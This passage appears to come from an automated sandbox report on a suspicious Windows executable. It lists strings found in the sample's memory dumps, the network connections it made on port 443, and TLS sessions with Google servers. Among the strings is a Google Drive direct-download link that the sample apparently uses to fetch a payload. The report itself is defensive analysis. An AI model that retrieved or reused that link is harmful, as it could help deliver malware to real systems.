00000008.00000003.1627004594.0000000007239000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1789605551.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2252313126.0000000007239000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2416959521.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1976377633.0000000007239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download
Source: fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download/
Source: fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download1
Source: fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download1#
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download=
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadA
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.0000000007188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadJ
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download_
Source: fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloada
Source: fTSt7dc60O.exe, 00000008.00000003.1547334302.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadam
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloade
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadid
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadk
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.0000000007188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadkq
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.0000000007188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadl
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.0000000007188000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadom
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadt
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.0000000007188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=downloadv
Source: fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/wA
Source: fTSt7dc60O.exe, 00000008.00000003.1835223566.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2069157679.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2322710276.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2429117505.0000000007240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: fTSt7dc60O.exe, 00000008.00000003.1524814992.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1478904188.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1491048101.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071AC000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1627045021.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1686747969.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1502459793.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1547334302.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1479093375.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1570023481.0000000007236000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1513407431.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1535832337.00000000071F8000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1778836405.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1513407431.00000000071F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: fTSt7dc60O.exe, 00000008.00000003.1524814992.000000000721F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/
Source: fTSt7dc60O.exe, 00000008.00000003.1547276568.0000000007239000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000002.2492233155.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.00000000071AC000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592623794.00000000071F0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1710476317.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1569872660.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1580938893.0000000007236000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2241371856.0000000007239000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1674629095.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1580893533.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1535832337.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1767051912.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1524814992.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1478904188.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1592710254.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1491048101.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1615874421.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071E0000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2286306653.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2171579304.00000000071AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: fTSt7dc60O.exe, 00000008.00000002.2492233155.000000000721F000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1513407431.00000000071F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: fTSt7dc60O.exe, 00000008.00000003.1603353148.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1835223566.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2069157679.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2322710276.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2429117505.0000000007240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: fTSt7dc60O.exe, 00000008.00000003.1835223566.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2069157679.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2322710276.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2429117505.0000000007240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: fTSt7dc60O.exe, 00000008.00000003.1615859431.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1603353148.0000000007241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comuI(
Source: fTSt7dc60O.exe, 00000008.00000003.1835223566.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2069157679.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2322710276.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2429117505.0000000007240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: fTSt7dc60O.exe, 00000008.00000003.1603353148.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.1835223566.0000000007241000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2069157679.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2322710276.0000000007240000.00000004.00000020.00020000.00000000.sdmp, fTSt7dc60O.exe, 00000008.00000003.2429117505.0000000007240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 52269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52239
Source: unknown	Network traffic detected: HTTP traffic on port 52246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52232
Source: unknown	Network traffic detected: HTTP traffic on port 52252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52236
Source: unknown	Network traffic detected: HTTP traffic on port 52232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52087
Source: unknown	Network traffic detected: HTTP traffic on port 52172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52241
Source: unknown	Network traffic detected: HTTP traffic on port 52255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52247
Source: unknown	Network traffic detected: HTTP traffic on port 52235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52250
Source: unknown	Network traffic detected: HTTP traffic on port 52263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52019
Source: unknown	Network traffic detected: HTTP traffic on port 52248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52255
Source: unknown	Network traffic detected: HTTP traffic on port 51996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52259
Source: unknown	Network traffic detected: HTTP traffic on port 52231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52258
Source: unknown	Network traffic detected: HTTP traffic on port 52257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52260
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52261
Source: unknown	Network traffic detected: HTTP traffic on port 52180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52267
Source: unknown	Network traffic detected: HTTP traffic on port 52237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52268
Source: unknown	Network traffic detected: HTTP traffic on port 52212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52270
Source: unknown	Network traffic detected: HTTP traffic on port 52019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52271
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52272
Source: unknown	Network traffic detected: HTTP traffic on port 52240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52155
Source: unknown	Network traffic detected: HTTP traffic on port 52104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52164
Source: unknown	Network traffic detected: HTTP traffic on port 52259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52209
Source: unknown	Network traffic detected: HTTP traffic on port 52218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52047
Source: unknown	Network traffic detected: HTTP traffic on port 52239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51990
Source: unknown	Network traffic detected: HTTP traffic on port 52253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52203
Source: unknown	Network traffic detected: HTTP traffic on port 52256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52053
Source: unknown	Network traffic detected: HTTP traffic on port 52147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52172
Source: unknown	Network traffic detected: HTTP traffic on port 52225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52217
Source: unknown	Network traffic detected: HTTP traffic on port 52112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52218
Source: unknown	Network traffic detected: HTTP traffic on port 52219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52212
Source: unknown	Network traffic detected: HTTP traffic on port 52250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52213
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52062
Source: unknown	Network traffic detected: HTTP traffic on port 52119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52229
Source: unknown	Network traffic detected: HTTP traffic on port 52247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52222
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52226
Source: unknown	Network traffic detected: HTTP traffic on port 52230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52192
Source: unknown	Network traffic detected: HTTP traffic on port 52233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52230
Source: unknown	Network traffic detected: HTTP traffic on port 52258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52261 -> 443

Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:51990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.7:51996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.7:52062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.7:52192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52214 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52217 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52227 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52239 version: TLS 1.2
